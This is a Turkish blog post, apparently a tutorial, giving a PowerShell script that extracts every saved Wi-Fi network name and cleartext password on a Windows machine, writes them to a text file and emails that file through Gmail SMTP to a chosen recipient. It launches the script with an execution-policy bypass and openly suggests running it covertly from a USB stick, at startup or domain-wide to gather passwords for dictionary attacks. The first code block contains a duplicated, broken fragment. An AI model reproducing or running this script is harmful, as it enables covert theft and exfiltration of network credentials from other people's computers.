Geçenlerde bir kullanıcı şifresini unuttuğu wifi ağına erişmek istiyordu. Bu ağa daha önce eski bilgisayarı ile bağlanmıştı. Powershell komutları ile kayıtlı olan wifi şifresini alıp yeni bilgisayarı bu ağa bağladım. Komutları girip şifreyi almak tamam fakat bunu çalıştırması bir saniye bile sürmeyecek, çok daha gelişmiş bir script haline nasıl getirebiliriz? Powershell İle Windows Wifi Hesaplarını Otomasyon Haline Getirme – Siber Güvenlik inceliyoruz.
Yapılan işlemler;
- Powershell ile wifi hesaplarını ve şifrelerini görüntüleme.
- Tek tek komut yazmak yerine script ile wifi isimlerini ve şifrelerini listeleme.
- Çıkan listeyi text dosyasına kayıt etme.
- Gmail hesabınızı SMTP olarak kullanıma açma.
- Gmail hesabınızın şifresini kriptolama.
- Kriptolanmış hesap bilgisini kullanarak şifre döküm dosyasını (text) hedef mail hesabına gönderme.
- Kısayol oluşturup powershell scriptini tek tıklama ile çalışır hale getirme.
Script domain bazında çalıştırılıp toplanan şifreler sözlük saldırısında kullanılabilir. USB stick içinden kullanıcının dikkati başka yerdeyken çalıştırılabilir, görevlere eklenip her açılışta çalışması sağlanabilir. Bunlar gibi bir çok senaryo üretilebilir.
Untangle Firewall Kurulumu
İncelemek için hemen tıklayın.
Kayıtlı olan wifi profillerini listeleme
netsh wlan show profiles

Wifi profil detayını görüntüleme
netsh wlan show profiles (profil adı) key=clear

Microsoft Visual Studio Code’u Denediniz mi?
İndirmek için tıklayın.
Otomasyon Haline Getirme
Tek tek komut girmek yerine kayıtlı wifi hesaplarını txt dosyasına dökmeyi deneyelim. Dikkat edilmesi gereken nokta şifreleri içeren txt dosyasını path olarak nerdeysek oraya kayıt edecektir.
(netsh wlan show profiles) | Select-String "\:(.+)$" |`
%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | `
(netsh wlan show profiles) | Select-String “\:(.+)$” | `
%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | `
%{(netsh wlan show profile name=”$name” key=clear)} | `
Select-String “Key Content\W+\:(.+)$” | `
%{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | `
%{[PSCustomObject]@{ AP_Name=$name;Password=$pass }} | `
Format-Table -AutoSize | Out-File -FilePath .\wifi.txt
Gmail şifresini kriptolama
SMTP sunucusu olarak Gmail’i kullanacağız fakat scriptin içinde Gmail şifremiz düz metin olarak gözüksün istemiyoruz. Sonucu pass.txt dosyasına kayıt edecek.
Direk komut olarak çalıştırmanız gerekiyor, myPassword = Gmail şifreniz.
"myPassword" | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString | Out-File "C:\temp\pass.txt"
Powershell İle Wifi Hesaplarını Otomasyon Haline Getirme – Siber Güvenlik
Scriptin geri kalan kısmı aşağıdaki gibi, değişkenler kendini açıkladığı için ayrıca açıklamayacağım.
(netsh wlan show profiles) | Select-String “\:(.+)$” | `
%{$name=$_.Matches.Groups[1].Value.Trim(); $_} | `
%{(netsh wlan show profile name=”$name” key=clear)} | `
Select-String “Key Content\W+\:(.+)$” | `
%{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | `
%{[PSCustomObject]@{ AP_ADI=$name;SIFRE=$pass }} | `
Format-Table -AutoSize | Out-File -FilePath .\wifi.txt
$User = "sender_email@gmail.com"
$File = ".\pass.txt"
$cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, (Get-Content $File | ConvertTo-SecureString)
$EmailTo = "reciever_email@gmail.com"
$EmailFrom = "sender_Email@gmail.com"
$Subject = "Email Subject"
$Body = "Email Body"
$SMTPServer = "smtp.gmail.com"
$filenameAndPath = ".\wifi.txt"
$SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom,$EmailTo,$Subject,$Body)
$attachment = New-Object System.Net.Mail.Attachment($filenameAndPath)
$SMTPMessage.Attachments.Add($attachment)
$SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($cred.UserName, $cred.Password);
$SMTPClient.Send($SMTPMessage)
Powershell İle Wifi Hesaplarını Otomasyon Haline Getirme – Siber Güvenlik
Dikkat edilmesi gereken şey scriptte path belirtilmediği için bulunduğu klasör içinde pass.txt dosyasını arayacaktır. Varsayılan hali ile Windows powershell scriptlerinin çalıştırılmasına izin vermez, bu yüzden oluşturduğumuz kısayolda ufak bir düzenleme yapacağız. Kısayol ayarlarını resimde gösterdiğim şekilde yaparsanız sorunsuz bir şekilde çalışacaktır.
powershell -executionpolicy bypass -File wifi.ps1
